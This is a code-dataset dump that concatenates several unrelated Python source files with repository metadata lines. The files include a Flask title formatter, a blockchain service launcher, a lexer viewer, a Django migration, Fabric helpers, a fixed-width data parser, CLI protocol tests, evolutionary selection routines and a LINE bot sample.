import re from flask import g from flask.ext.babel import gettext from .title_case import title_case def title_format(title, attr): if not isinstance(attr, (list, tuple)): attr = [attr] joiner = " {} ".format(gettext("and")) if attr[0].id == "all" or attr[0].id == "sabra": type = "bra" else: type = attr[0].__class__.__name__.lower() names = [] for a in attr: name = title_case(getattr(a, "name_{}".format(g.locale))) if hasattr(a, "distance") and a.id != "all" and a.distance > 0: name = name + " "+a.distance+"km" names.append(name) article_search = re.search("<{}_(\w+)>".format(type), title) if article_search: title = title.replace(" <{}>".format(type), "") title = title.replace(article_search.group(0), joiner.join([get_article(attr[i], article_search.group(1)) + " " + names[i] for i, b in enumerate(names)])) else: title = title.replace("<{}>".format(type), joiner.join(names)) return title def get_article(attr, article): if attr.article_pt: if attr.gender_pt == "m": if article == "em": new_article = "no" if article == "de": new_article = "do" if article == "para": new_article = "para o" elif attr.gender_pt == "f": if article == "em": new_article = "na" if article == "de": new_article = "da" if article == "para": new_article = "para a" if attr.plural_pt: new_article = new_article + "s" return new_article else: return article
32.816327
162
0.567786
7959555d4a2acd8a20805a5a499ff8009511567e
8,957
py
Python
peas/server/start_service.py
13thProgression/peas-blockchain
8e058cbfe0c1ab73f7c1ec41bedb39071c63141c
[ "Apache-2.0" ]
2
2021-08-16T17:45:07.000Z
2021-09-18T19:00:58.000Z
peas/server/start_service.py
13thProgression/peas-blockchain
8e058cbfe0c1ab73f7c1ec41bedb39071c63141c
[ "Apache-2.0" ]
4
2021-09-26T15:50:20.000Z
2021-10-06T06:18:51.000Z
peas/server/start_service.py
13thProgression/peas-blockchain
8e058cbfe0c1ab73f7c1ec41bedb39071c63141c
[ "Apache-2.0" ]
3
2021-09-29T19:08:41.000Z
2022-03-15T08:47:28.000Z
import asyncio import os import logging import logging.config import signal from sys import platform from typing import Any, Callable, List, Optional, Tuple from peas.daemon.server import singleton, service_launch_lock_path from peas.server.ssl_context import peas_ssl_ca_paths, private_ssl_ca_paths try: import uvloop except ImportError: uvloop = None from peas.rpc.rpc_server import start_rpc_server from peas.server.outbound_message import NodeType from peas.server.server import PeasServer from peas.server.upnp import UPnP from peas.types.peer_info import PeerInfo from peas.util.peas_logging import initialize_logging from peas.util.config import load_config, load_config_cli from peas.util.setproctitle import setproctitle from peas.util.ints import uint16 from .reconnect_task import start_reconnect_task # this is used to detect whether we are running in the main process or not, in # signal handlers. We need to ignore signals in the sub processes. main_pid: Optional[int] = None class Service: def __init__( self, root_path, node: Any, peer_api: Any, node_type: NodeType, advertised_port: int, service_name: str, network_id: str, upnp_ports: List[int] = [], server_listen_ports: List[int] = [], connect_peers: List[PeerInfo] = [], auth_connect_peers: bool = True, on_connect_callback: Optional[Callable] = None, rpc_info: Optional[Tuple[type, int]] = None, parse_cli_args=True, connect_to_daemon=True, ) -> None: self.root_path = root_path self.config = load_config(root_path, "config.yaml") ping_interval = self.config.get("ping_interval") self.self_hostname = self.config.get("self_hostname") self.daemon_port = self.config.get("daemon_port") assert ping_interval is not None self._connect_to_daemon = connect_to_daemon self._node_type = node_type self._service_name = service_name self._rpc_task: Optional[asyncio.Task] = None self._rpc_close_task: Optional[asyncio.Task] = None self._network_id: str = network_id proctitle_name = f"peas_{service_name}" setproctitle(proctitle_name) self._log = logging.getLogger(service_name) if parse_cli_args: service_config = load_config_cli(root_path, "config.yaml", service_name) else: service_config = load_config(root_path, "config.yaml", service_name) initialize_logging(service_name, service_config["logging"], root_path) self._rpc_info = rpc_info private_ca_crt, private_ca_key = private_ssl_ca_paths(root_path, self.config) peas_ca_crt, peas_ca_key = peas_ssl_ca_paths(root_path, self.config) inbound_rlp = self.config.get("inbound_rate_limit_percent") outbound_rlp = self.config.get("outbound_rate_limit_percent") assert inbound_rlp and outbound_rlp self._server = PeasServer( advertised_port, node, peer_api, node_type, ping_interval, network_id, inbound_rlp, outbound_rlp, root_path, service_config, (private_ca_crt, private_ca_key), (peas_ca_crt, peas_ca_key), name=f"{service_name}_server", ) f = getattr(node, "set_server", None) if f: f(self._server) else: self._log.warning(f"No set_server method for {service_name}") self._connect_peers = connect_peers self._auth_connect_peers = auth_connect_peers self._upnp_ports = upnp_ports self._server_listen_ports = server_listen_ports self._api = peer_api self._node = node self._did_start = False self._is_stopping = asyncio.Event() self._stopped_by_rpc = False self._on_connect_callback = on_connect_callback self._advertised_port = advertised_port self._reconnect_tasks: List[asyncio.Task] = [] self.upnp: Optional[UPnP] = None async def start(self, **kwargs) -> None: # we include `kwargs` as a hack for the wallet, which for some # reason allows parameters to `_start`. This is serious BRAIN DAMAGE, # and should be fixed at some point. # TODO: move those parameters to `__init__` if self._did_start: return None assert self.self_hostname is not None assert self.daemon_port is not None self._did_start = True self._enable_signals() await self._node._start(**kwargs) for port in self._upnp_ports: if self.upnp is None: self.upnp = UPnP() self.upnp.remap(port) await self._server.start_server(self._on_connect_callback) self._reconnect_tasks = [ start_reconnect_task(self._server, _, self._log, self._auth_connect_peers) for _ in self._connect_peers ] self._log.info(f"Started {self._service_name} service on network_id: {self._network_id}") self._rpc_close_task = None if self._rpc_info: rpc_api, rpc_port = self._rpc_info self._rpc_task = asyncio.create_task( start_rpc_server( rpc_api(self._node), self.self_hostname, self.daemon_port, uint16(rpc_port), self.stop, self.root_path, self.config, self._connect_to_daemon, ) ) async def run(self) -> None: lockfile = singleton(service_launch_lock_path(self.root_path, self._service_name)) if lockfile is None: self._log.error(f"{self._service_name}: already running") raise ValueError(f"{self._service_name}: already running") await self.start() await self.wait_closed() def _enable_signals(self) -> None: global main_pid main_pid = os.getpid() signal.signal(signal.SIGINT, self._accept_signal) signal.signal(signal.SIGTERM, self._accept_signal) if platform == "win32" or platform == "cygwin": # pylint: disable=E1101 signal.signal(signal.SIGBREAK, self._accept_signal) # type: ignore def _accept_signal(self, signal_number: int, stack_frame): self._log.info(f"got signal {signal_number}") # we only handle signals in the main process. In the ProcessPoolExecutor # processes, we have to ignore them. We'll shut them down gracefully # from the main process global main_pid if os.getpid() != main_pid: return self.stop() def stop(self) -> None: if not self._is_stopping.is_set(): self._is_stopping.set() # start with UPnP, since this can take a while, we want it to happen # in the background while shutting down everything else for port in self._upnp_ports: if self.upnp is not None: self.upnp.release(port) self._log.info("Cancelling reconnect task") for _ in self._reconnect_tasks: _.cancel() self._log.info("Closing connections") self._server.close_all() self._node._close() self._node._shut_down = True self._log.info("Calling service stop callback") if self._rpc_task is not None: self._log.info("Closing RPC server") async def close_rpc_server() -> None: if self._rpc_task: await (await self._rpc_task)() self._rpc_close_task = asyncio.create_task(close_rpc_server()) async def wait_closed(self) -> None: await self._is_stopping.wait() self._log.info("Waiting for socket to be closed (if opened)") self._log.info("Waiting for PeasServer to be closed") await self._server.await_closed() if self._rpc_close_task: self._log.info("Waiting for RPC server") await self._rpc_close_task self._log.info("Closed RPC server") self._log.info("Waiting for service _await_closed callback") await self._node._await_closed() if self.upnp is not None: # this is a blocking call, waiting for the UPnP thread to exit self.upnp.shutdown() self._log.info(f"Service {self._service_name} at port {self._advertised_port} fully closed") async def async_run_service(*args, **kwargs) -> None: service = Service(*args, **kwargs) return await service.run() def run_service(*args, **kwargs) -> None: if uvloop is not None: uvloop.install() return asyncio.run(async_run_service(*args, **kwargs))
34.988281
115
0.634364
7959562fdf884a0d4f23f4a4fb24ef0ff331d948
2,026
py
Python
doe.py
Shom770/doe
a71fc491b89ccdd4b981eaca953ecdddbba5e3f9
[ "MIT" ]
null
null
null
doe.py
Shom770/doe
a71fc491b89ccdd4b981eaca953ecdddbba5e3f9
[ "MIT" ]
null
null
null
doe.py
Shom770/doe
a71fc491b89ccdd4b981eaca953ecdddbba5e3f9
[ "MIT" ]
null
null
null
from sys import exit import click from pynput.keyboard import Key, Listener from rich.layout import Layout from rich.live import Live from rich.panel import Panel from lexing.lexer import Lexer class HandleInputs: def __init__(self, tokens): self._tokens = tokens self.token_pos = 0 self.pretty_printing = True def press(self, key): if key == Key.left: self.token_pos -= 1 if self.token_pos != 0 else 0 elif key == Key.right: self.token_pos += 1 if self.token_pos != len(self._tokens) else 0 elif key == Key.esc: self.pretty_printing = False def start_listening(self): with Listener(on_press=self.press, on_release=lambda key: False) as listener: listener.join() @click.command() @click.argument("file") @click.option("-lex", default=False, help="Display the lexed output.") def run(file, lex): """Runs Doe code.""" with open(file) as file_: source_code = file_.read() if lex: lexer = Lexer(source_code) tokens = list(lexer.lex()) _ptr = 0 layout = Layout(name="Pretty Printer") layout.split_column( Layout(name="source_code", ratio=8), Layout(name="token_info", ratio=2) ) keyboard_handling = HandleInputs(tokens) with Live(layout, screen=True): while keyboard_handling.pretty_printing: current_token = tokens[keyboard_handling.token_pos] start_pos, end_pos = current_token.position highlighted_source = ( f"{source_code[:start_pos]}" f"[red]{source_code[start_pos:end_pos+1]}[/red]" f"{source_code[end_pos+1:]}" ) layout["source_code"].update(Panel(highlighted_source)) layout["token_info"].update(Panel(str(current_token))) keyboard_handling.start_listening() if __name__ == "__main__": run()
28.138889
85
0.601185
795957de5cb16f947b9d6fcaa08f608a587acf86
510
py
Python
users/migrations/0005_auto_20200622_1633.py
jdpeinado/BodyMeasureControlWeb
38a278d2b580eba3044ddff74218961b8abd30e0
[ "MIT" ]
null
null
null
users/migrations/0005_auto_20200622_1633.py
jdpeinado/BodyMeasureControlWeb
38a278d2b580eba3044ddff74218961b8abd30e0
[ "MIT" ]
5
2021-03-30T13:39:51.000Z
2021-09-08T02:09:24.000Z
users/migrations/0005_auto_20200622_1633.py
jdpeinado/BodyMeasureControlWeb
38a278d2b580eba3044ddff74218961b8abd30e0
[ "MIT" ]
null
null
null
# Generated by Django 3.0.7 on 2020-06-22 16:33 from django.db import migrations import django_measurement.models import measurement.measures.distance class Migration(migrations.Migration): dependencies = [ ('users', '0004_auto_20200608_0008'), ] operations = [ migrations.AlterField( model_name='profile', name='height', field=django_measurement.models.MeasurementField(measurement=measurement.measures.distance.Distance), ), ]
24.285714
113
0.678431
79595850e184508a3938154f97c588d9aa809d1e
1,190
py
Python
fabfile/utils.py
isabella232/lookatthis
fe9ccc896f50ede13f9c469d38d90c8a732f9a71
[ "FSFAP" ]
15
2015-02-21T13:56:25.000Z
2019-08-14T21:19:09.000Z
fabfile/utils.py
nprapps/lookatthis
fe9ccc896f50ede13f9c469d38d90c8a732f9a71
[ "FSFAP" ]
444
2015-01-06T16:54:13.000Z
2021-09-22T11:46:33.000Z
fabfile/utils.py
isabella232/lookatthis
fe9ccc896f50ede13f9c469d38d90c8a732f9a71
[ "FSFAP" ]
13
2015-01-05T14:33:15.000Z
2021-02-23T10:45:32.000Z
#!/usr/bin/env python """ Utilities used by multiple commands. """ from glob import glob import re import boto from boto.s3.connection import OrdinaryCallingFormat from fabric.api import local, prompt from fabric.state import env import app_config def confirm(message): """ Verify a users intentions. """ answer = prompt(message, default="Not at all") if answer.lower() not in ('y', 'yes', 'buzz off', 'screw you'): exit() def _find_slugs(slug): posts = glob('%s/*' % app_config.POST_PATH) for folder in posts: folder_slug = folder.split('%s/' % app_config.POST_PATH)[1] if slug == folder_slug: return folder_slug return def replace_in_file(filename, find, replace): with open(filename, 'r') as f: contents = f.read() contents = contents.replace(find, replace) with open(filename, 'w') as f: f.write(contents) def get_bucket(bucket_name): """ Established a connection and gets s3 bucket """ if '.' in bucket_name: s3 = boto.connect_s3(calling_format=OrdinaryCallingFormat()) else: s3 = boto.connect_s3() return s3.get_bucket(bucket_name)
20.877193
68
0.64958
795959676427baa91bd06d418f949d57e3d7eecc
6,295
py
Python
src/auto_cluster.py
DataRescueBoulder/Nasa
5029ef95e4ea6132a00ca9f5731197fdc1090d27
[ "RSA-MD" ]
1
2017-07-19T15:37:56.000Z
2017-07-19T15:37:56.000Z
src/auto_cluster.py
DataRescueBoulder/Nasa
5029ef95e4ea6132a00ca9f5731197fdc1090d27
[ "RSA-MD" ]
1
2017-05-19T16:58:03.000Z
2020-01-29T17:34:49.000Z
src/auto_cluster.py
DataRescueBoulder/Nasa
5029ef95e4ea6132a00ca9f5731197fdc1090d27
[ "RSA-MD" ]
null
null
null
#!/usr/bin/env python """auto_parse scientific fixed-width blocks of data""" import sys import os import codecs import re import json import logging import collections import numpy as np import matplotlib.pyplot as plt def chunkstring(string, length): "A generator which return the string, split up into fixed-width substrings of given length" return (string[0+i:length+i] for i in range(0, len(string), length)) def dswrite(data, recordLen, colspecs): """Write out the records in a text format that can be read by pandas.read_fwf() FIXME: somehow check whether the last record is valid """ with open("/tmp/file.txt", "w") as f: for l in chunkstring(data, recordLen): print(l, file=f) def dpcols(record): "list of columns with decimal points in this byte array" chd = [record[col] == b'.' for col in range(record.shape[0])] cwd = tuple(i for i,v in enumerate(chd) if v) return cwd def dpacols(record): "list of columns with decimal points or non-number-characters in this byte array" chd = [record[col] not in b'-0123456789 ' for col in range(record.shape[0])] cwd = tuple(i for i,v in enumerate(chd) if v) return cwd def chunkstring(string, length): "A generator which return the string, split up into fixed-width substrings of given length" return (string[0+i:length+i] for i in range(0, len(string), length)) def findRecordLen(segment, maxLen=1000): "Find record length in given string, via autocorrelation" # Turn string into array of byte with zero mean arr = np.array([float(ord(c)) for c in segment]) arrNorm = arr - np.mean(arr) (lags, c, line, b) = plt.acorr(arrNorm, maxlags=maxLen) return int(c[maxLen+1:].argmax()) + 1 # ETL def signatures(fn): with open(fn, 'rb') as f: data = f.read() filelen = len(data) stat = os.stat(fn) desc = collections.OrderedDict([('len', stat.st_size), ('name',fn)]) # print("File: %s" % fn) # print("File length: %d" % filelen) segmentLen = 10000 bytefreqs = collections.Counter(data[:segmentLen]) desc.update( bytefreqs=[(code, freq) for code,freq in bytefreqs.items()]) common = [t[0] for t in bytefreqs.most_common(10)] # print("Most common bytes: %s" % ' '.join("%02x" % chr for chr in common)) desc.update(topbytes=["%02x" % chr for chr in common]) # Key charset determiniation off space character. or perhaps better numbers which have less overlap? if 0x40 in common: charset = "cp037" # or cp500 - international? else: charset = "iso8859-1" isobytes = data.decode(charset) desc.update(charset=charset) # Find bytes with upper bit set: non-ascii # finds = [(m.span()[0], codecs.encode(m.group(), "hex").decode('ascii') ) finds = [(m.span()[0], codecs.encode(m.group().encode('iso8859-1'), "hex").decode('ascii') ) for m in re.finditer('[\x80-\xff]', isobytes[:10000])] # print("%d offset [j.span()[0] - i.span()[1] for i, j in zip(t[:-1], t[1:])] upperbitchars = "none" if finds: upperbitchars = ("offset %d, intervals %s" % (finds[0][0], [j[0] - i[0] for i, j in zip(finds[:-1], finds[1:])])) #print("upperbitchars of %s at %s" % (set((find[1] for find in finds)), upperbitchars)) desc.update(upperbitchars=list(set((find[1] for find in finds)))) blocksize = findRecordLen(isobytes[:segmentLen], min(1000, filelen-1)) # print("Block size: %d" % blocksize) # print("Blocks: %f" % (filelen / blocksize, )) left_over = filelen % blocksize if left_over != 0: #print("WARNING: %d bytes left over" % left_over) if left_over == blocksize / 2: # FIXME: deal better with mistakes from thes odd paired data structures # print("New block size: %d" % blocksize) desc.update(firstblocksize=blocksize) blocksize = left_over left_over = filelen % blocksize desc.update(blocksize=blocksize) desc.update(blocks=filelen / blocksize) desc.update(left_over=left_over) return desc # Convert contents of file to a 2-d array of characters, one row per block try: data_c = np.array(isobytes, 'c') except UnicodeEncodeError as e: logging.error("badchar in %s: %s" % (fn, e)) desc.update(badchar=True) return desc if left_over: logging.error("left_over: %d at blocksize %s for %s" % (left_over, blocksize, fn)) return desc data_c.shape = (-1, blocksize) # If we take the positions of decimal places as a signature, there are only 6 unique signatures in dr2129: here is a count for each unique tuple of columns. E.g. 54 records have a "." in columns 7 and 14. # # If we use a more specific signature: all columns that have an unusual character or decimal point, we get 9 unique signatures. Here we look for any character other than a digit, a minus sign and a space. alldpacols = [dpacols(record) for record in data_c] dpacol = collections.Counter(alldpacols) #print("%d unique marker character position signatures. Counts and columns for each:" % len(dpacol)) desc.update(num_markers=len(dpacol)) sigs = sorted(list(dpacol.items()), key=lambda t: t[1], reverse=True) desc.update(sigs=sigs[:3]) for t, v in sigs[:10]: #print((v, str(t))) pass assert(sum(dpacol.values())) == len(data_c) return desc """ alldpcols = [dpcols(record) for record in data_c] dct = collections.Counter(alldpcols) print("%d unique decimal-point character position signatures. Counts and columns for each:" % len(dct)) print([(v, str(t)) for t, v in list(dct.items())[:10]]) """ if __name__ == "__main__": print("[") fns = sys.argv[1:] if len(fns) < 1: fns = ['spdf.sci.gsfc.nasa.gov/pub/data/imp/imp3/fluxgate_magnetometer/hourly_averaged_interplanetary_mag_field/DATA2_DR002743_DR002743_20080611_083036/dr002743_f00001.phys.1'] for fn in fns: if os.path.splitext(fn)[1] in ['.pdf', '.html', '.tar', '.xml', '.txt']: continue desc = signatures(fn) print(json.dumps(desc) + ",") print("{}\n]")
33.484043
209
0.637649
79595a27a49425fcbcd467e4b8b411726ef0c29b
3,939
py
Python
jasmin/protocols/cli/test/test_cmdprotocol.py
2naive/jasmin
7609a50ded4ebf5873b607cb4a500be4b1be6be1
[ "Apache-2.0" ]
2
2020-05-14T18:27:01.000Z
2021-03-21T17:26:19.000Z
jasmin/protocols/cli/test/test_cmdprotocol.py
2naive/jasmin
7609a50ded4ebf5873b607cb4a500be4b1be6be1
[ "Apache-2.0" ]
null
null
null
jasmin/protocols/cli/test/test_cmdprotocol.py
2naive/jasmin
7609a50ded4ebf5873b607cb4a500be4b1be6be1
[ "Apache-2.0" ]
1
2020-11-24T06:48:22.000Z
2020-11-24T06:48:22.000Z
from jasmin.protocols.cli.factory import CmdFactory from twisted.trial import unittest from twisted.test import proto_helpers from twisted.internet import reactor, defer class ProtocolTestCases(unittest.TestCase): def getBuffer(self, clear=False, split=True): b = self.tr.value() if clear: self.tr.clear() if split: b = b.splitlines() return b @defer.inlineCallbacks def sendCommand(self, command, wait=None): self.proto.dataReceived('%s\r\n' % command) # Wait before getting recv buffer if wait is not None: exitDeferred = defer.Deferred() reactor.callLater(wait, exitDeferred.callback, None) yield exitDeferred @defer.inlineCallbacks def _test(self, finalPrompt, commands): receivedLines = None for cmd in commands: # Wait before getting recv buffer if 'wait' in cmd: yield self.sendCommand(cmd['command'], cmd['wait']) else: self.sendCommand(cmd['command']) # Get buffer and assert for `expect` receivedLines = self.getBuffer(True) # print receivedLines # First line is the command itself # 'noecho' is used when there's no echo back from the server while typing (e.g. password input) if 'noecho' not in cmd: self.assertEqual(receivedLines[0], cmd['command']) # Assert reply if 'expect' in cmd: if isinstance(cmd['expect'], str): self.assertGreaterEqual(len(receivedLines), 4, 'Got no return from command %s: %s' % (cmd['command'], receivedLines)) receivedContent = '' for line in range(len(receivedLines)): if line % 3 == 0: receivedContent += receivedLines[line] self.assertRegexpMatches(receivedContent, cmd['expect']) elif isinstance(cmd['expect'], list): self.assertGreaterEqual(len(receivedLines), 3 + (len(cmd['expect']) * 3), 'Got no return from command %s: %s' % (cmd['command'], receivedLines)) offset = 0 for e in cmd['expect']: self.assertRegexpMatches(receivedLines[3 + offset], e) offset += 3 # Assert for final prompt if receivedLines is not None and finalPrompt is not None: self.assertRegexpMatches(receivedLines[len(receivedLines) - 1], finalPrompt) class CmdProtocolTestCases(ProtocolTestCases): def setUp(self): # Connect to CmdProtocol server through a fake network transport self.CmdCli_f = CmdFactory() self.proto = self.CmdCli_f.buildProtocol(('127.0.0.1', 0)) self.tr = proto_helpers.StringTransport() self.proto.makeConnection(self.tr) # Test for greeting receivedLines = self.getBuffer(True) self.assertRegexpMatches(receivedLines[0], r'Welcome !') self.assertRegexpMatches(receivedLines[3], r'Session ref: ') class BasicTestCase(CmdProtocolTestCases): def test_quit(self): commands = [{'command': 'quit'}] return self._test(None, commands) def test_help(self): expectedList = ['Available commands:', '===================', '', 'Control commands:', '=================', 'quit Disconnect from console', 'help List available commands with "help" or detailed help with "help cmd".'] commands = [{'command': 'help', 'expect': expectedList}] return self._test('>>> ', commands)
39.39
116
0.551917
79595a4761db1839926037fa8cf8bc2c92aebd9e
4,423
py
Python
evosoro/tools/selection.py
leguiart/MSc_Thesis
22ffc73c75d814856850f26c4586d90896b74cf3
[ "MIT" ]
null
null
null
evosoro/tools/selection.py
leguiart/MSc_Thesis
22ffc73c75d814856850f26c4586d90896b74cf3
[ "MIT" ]
null
null
null
evosoro/tools/selection.py
leguiart/MSc_Thesis
22ffc73c75d814856850f26c4586d90896b74cf3
[ "MIT" ]
null
null
null
import random import math def pareto_selection(population): """Return a list of selected individuals from the population. All individuals in the population are ranked by their level, i.e. the number of solutions they are dominated by. Individuals are added to a list based on their ranking, best to worst, until the list size reaches the target population size (population.pop_size). Parameters ---------- population : Population This provides the individuals for selection. Returns ------- new_population : list A list of selected individuals. """ new_population = [] # SAM: moved this into calc_dominance() # population.sort(key="id", reverse=False) # <- if tied on all objectives, give preference to newer individual # (re)compute dominance for each individual population.calc_dominance() # sort the population multiple times by objective importance population.sort_by_objectives() # divide individuals into "pareto levels": # pareto level 0: individuals that are not dominated, # pareto level 1: individuals dominated one other individual, etc. done = False pareto_level = 0 while not done: this_level = [] size_left = population.pop_size - len(new_population) for ind in population: if len(ind.dominated_by) == pareto_level: this_level += [ind] # add best individuals to the new population. # add the best pareto levels first until it is not possible to fit them in the new_population if len(this_level) > 0: if size_left >= len(this_level): # if whole pareto level can fit, add it new_population += this_level else: # otherwise, select by sorted ranking within the level new_population += [this_level[0]] while len(new_population) < population.pop_size: random_num = random.random() log_level_length = math.log(len(this_level)) for i in range(1, len(this_level)): if math.log(i) / log_level_length <= random_num < math.log(i + 1) / log_level_length and \ this_level[i] not in new_population: new_population += [this_level[i]] continue pareto_level += 1 if len(new_population) == population.pop_size: done = True for ind in population: if ind in new_population: ind.selected = 1 else: ind.selected = 0 return new_population def pareto_tournament_selection(population): """Reduce the population pairwise. Two individuals from the population are randomly sampled and the inferior individual is removed from the population. This process repeats until the population size is reduced to either the target population size (population.pop_size) or the number of non-dominated individuals / Pareto front (population.non_dominated_size). Parameters ---------- population : Population This provides the individuals for selection. Returns ------- new_population : list A list of selected individuals. """ # population.add_random_individual() # adding in random ind in algorithms.py population.calc_dominance() random.shuffle(population.individuals) print ("The nondominated size is", population.non_dominated_size) while len(population) > population.pop_size and len(population) > population.non_dominated_size: inds = random.sample(range(len(population)), 2) ind0 = population[inds[0]] ind1 = population[inds[1]] if population.dominated_in_multiple_objectives(ind0, ind1): print ("(fit) {0} dominated by {1}".format(ind0.fitness, ind1.fitness)) print ("(age) {0} dominated by {1}".format(ind0.age, ind1.age)) population.pop(inds[0]) elif population.dominated_in_multiple_objectives(ind1, ind0): print ("(fit) {1} dominated by {0}".format(ind0.fitness, ind1.fitness)) print ("(age) {1} dominated by {0}".format(ind0.age, ind1.age)) population.pop(inds[1]) # else: # population.pop(random.choice(inds)) population.sort_by_objectives() return population.individuals
37.168067
120
0.642098
79595a8e619a31cad75dafa4b4b8e09948b92fbb
7,093
py
Python
sample_op.py
nanato12/pylinebot
20cdc177d9ef37b86d7ae85b8661d95b01c81bdf
[ "Apache-2.0" ]
13
2020-05-22T03:03:00.000Z
2022-03-30T03:13:52.000Z
sample_op.py
nanato12/pylinebot
20cdc177d9ef37b86d7ae85b8661d95b01c81bdf
[ "Apache-2.0" ]
10
2020-05-18T14:54:20.000Z
2020-11-20T03:32:22.000Z
sample_op.py
nanato12/pylinebot
20cdc177d9ef37b86d7ae85b8661d95b01c81bdf
[ "Apache-2.0" ]
3
2020-06-07T05:02:12.000Z
2020-06-24T07:43:13.000Z
import json from typing import Any, List from pylinebot import LINE from pylinebot.structs.message import ( AudioMessage, FlexMessage, ImageMessage, LocationMessage, StickerMessage, TextMessage, VideoMessage, ) from pylinebot.types.event import Event from pylinebot.types.message import ContentType, ToType from pylinebot.utils.annotation import SEND_MESSAGE def file_to_dict(file_name: str) -> dict: with open(file_name) as json_file: data = json.load(json_file) return data def get_flex(flex_title: str) -> dict: return file_to_dict("./resources/flex.json")[flex_title] def get_rich(rich_title: str) -> dict: return file_to_dict("./resources/rich.json")[rich_title] def get_quick(quick_title: str) -> List[Any]: return file_to_dict("./resources/quick.json")[quick_title] def receive_message(bot: LINE, event: Event.MESSAGE) -> None: message = event.message message_id = message.id message_type = message.type source_type = event.source.type user_id = event.source.user_id if message_type == ContentType.STICKER: bot.reply_message([TextMessage("a")]) elif message_type == ContentType.IMAGE: bot.save_content_from_message_id(message_id, f"{message_id}.jpg") bot.reply_text_message("その画像", "保存したよ。") elif message_type == ContentType.VIDEO: bot.save_content_from_message_id(message_id, f"{message_id}.mp4") bot.reply_text_message("その動画", "保存", "したよ") elif message_type == ContentType.AUDIO: bot.save_content_from_message_id(message_id, f"{message_id}.mp3") bot.reply_text_message("その音声", "保存", "したよ") elif message_type == ContentType.LOCATION: bot.reply_text_message("それいち") elif message_type == ContentType.FILE: bot.reply_text_message("それふぁいる") elif message_type == ContentType.TEXT: message_text = message.text if source_type == ToType.GROUP: pass # group_id = event.source.group_id # print(bot.get_group_member_ids(group_id)) elif source_type == ToType.ROOM: pass # room_id = event.source.room_id # print(bot.get_room_member_ids(room_id)) if message_text == "てきすと": bot.set_quick_reply(get_quick("test")) bot.reply_text_message("テキスト") bot.push_message(user_id, [TextMessage("a")]) bot.broadcast([TextMessage("ぶろーど")]) elif message_text == "ふくすうてきすと": bot.reply_text_message("ふ", "く", "す", "う") elif message_text == "がぞう": url = "https://linebot.m3e.xyz/public_self_bot/img/dev_img_nanato12.png" message = ImageMessage(preview_url=url, content_url=url) bot.reply_message([message]) elif message_text == "ふくすうがぞう": bot.reply_image_message( "https://linebot.m3e.xyz/public_self_bot/img/dev_img_nanato12.png", "https://linebot.m3e.xyz/public_self_bot/img/dev_img_nanato12.png", "https://linebot.m3e.xyz/public_self_bot/img/dev_img_nanato12.png", ) elif message_text == "どうが": video_message = VideoMessage( content_url="https://file3-d.kuku.lu/files/20200514-0225_b5468a4effd6228a4c454c6b0d477f08.mp4", preview_url="https://linebot.m3e.xyz/public_self_bot/img/dev_img_nanato12.png", ) bot.reply_message([video_message]) elif message_text == "ふくすうどうが": video_message = VideoMessage( content_url="https://file3-d.kuku.lu/files/20200514-0225_b5468a4effd6228a4c454c6b0d477f08.mp4", preview_url="https://linebot.m3e.xyz/public_self_bot/img/dev_img_nanato12.png", ) bot.reply_message([video_message, video_message, video_message]) elif message_text == "おんせい": audio_message = AudioMessage( content_url="https://www.ne.jp/asahi/music/myuu/wave/springsonate.mp3", duration=1000, ) bot.reply_message([audio_message]) elif message_text == "ふくすうおんせい": audio_message = AudioMessage( content_url="https://www.ne.jp/asahi/music/myuu/wave/springsonate.mp3", duration=1000, ) bot.reply_message([audio_message, audio_message]) elif message_text == "いち": location_message = LocationMessage( title="たいとる", address="あどれす", latitude=0, longitude=0, ) bot.reply_message([location_message]) elif message_text == "ふくすういち": location_message = LocationMessage( title="たいとる", address="あどれす", latitude=0, longitude=0, ) bot.reply_message( [location_message, location_message, location_message, location_message] ) elif message_text == "すたんぷ": sticker_message = StickerMessage(package_id=1, sticker_id=1) bot.reply_message([sticker_message]) elif message_text == "ふくすうすたんぷ": sticker_message = StickerMessage(package_id=1, sticker_id=1) bot.reply_message([sticker_message, sticker_message]) elif message_text == "ふれっくす": flex_message = FlexMessage( alt_text="Flex Message", content=get_flex("test") ) bot.reply_message([flex_message]) elif message_text == "ふくすうふれっくす": flex_message = FlexMessage( alt_text="Flex Message", content=get_flex("test") ) bot.reply_message([flex_message, flex_message, flex_message]) elif message_text == "いろんな": video_message = VideoMessage( content_url="https://file3-d.kuku.lu/files/20200514-0225_b5468a4effd6228a4c454c6b0d477f08.mp4", preview_url="https://linebot.m3e.xyz/public_self_bot/img/dev_img_nanato12.png", ) audio_message = AudioMessage( content_url="https://www.ne.jp/asahi/music/myuu/wave/springsonate.mp3", duration=1000, ) image_message = ImageMessage( preview_url="https://linebot.m3e.xyz/public_self_bot/img/dev_img_nanato12.png", content_url="https://linebot.m3e.xyz/public_self_bot/img/dev_img_nanato12.png", ) text_message = TextMessage("test") # メッセージを詰める messages: List[SEND_MESSAGE] = [] messages.append(video_message) messages.append(audio_message) messages.append(image_message) messages.append(text_message) bot.reply_message(messages) elif message_text == "いべんと": bot.reply_text_message(str(event)) elif message_text == "くいっく": bot.set_quick_reply(get_quick("test")) bot.reply_text_message("くいっくりぷらいだよ")
36.374359
111
0.617369
79595acb32b344334185e9dea11afa3a9370686a
4,699
py
Python
fabfile.py
xlvector/yoyo-migrations
adcdffa5fdcd5d470be87431b24059f6e5cadcc6
[ "BSD-3-Clause" ]
12
2016-08-14T02:52:21.000Z
2021-01-31T11:21:03.000Z
fabfile.py
xlvector/yoyo-migrations
adcdffa5fdcd5d470be87431b24059f6e5cadcc6
[ "BSD-3-Clause" ]
null
null
null
fabfile.py
xlvector/yoyo-migrations
adcdffa5fdcd5d470be87431b24059f6e5cadcc6
[ "BSD-3-Clause" ]
8
2015-01-20T05:22:12.000Z
2021-12-06T05:48:04.000Z
import re from shutil import rmtree from contextlib import contextmanager from fabric.api import env, lcd, local, prompt, task from tempfile import mkdtemp env.shell = '/bin/sh -c' #: Name of python module provided by this package env.module_name = 'yoyo' #: PyPI registered name env.package_name = 'yoyo-migrations' #: Where to host generated sphinx documentation env.hosts = ['www.ollycope.com'] env.docsdir = 'www/ollycope.com/htdocs/software/%(package_name)s' % env #: Regular expression to parse the version number out of a python source file version_re = re.compile(b"^(__version__\s*=\s*)['\"]([^'\"]*)['\"]", re.M) #: File in which we can find the version number env.version_file = '{module_name}/__init__.py'.format(**env) def scm_get_repo_root(): return local("hg root", capture=True).strip() def scm_get_repo_author(): return local("hg showconfig ui.username", capture=True).strip() def scm_clone_repo(src, dst): local("hg clone {} {}".format(src, dst)) def scm_record(message, *files): """ Record a commit """ local('hg commit -m "{message}" {files}'.format(files=' '.join(files), message=message)) def scm_tag(version): with 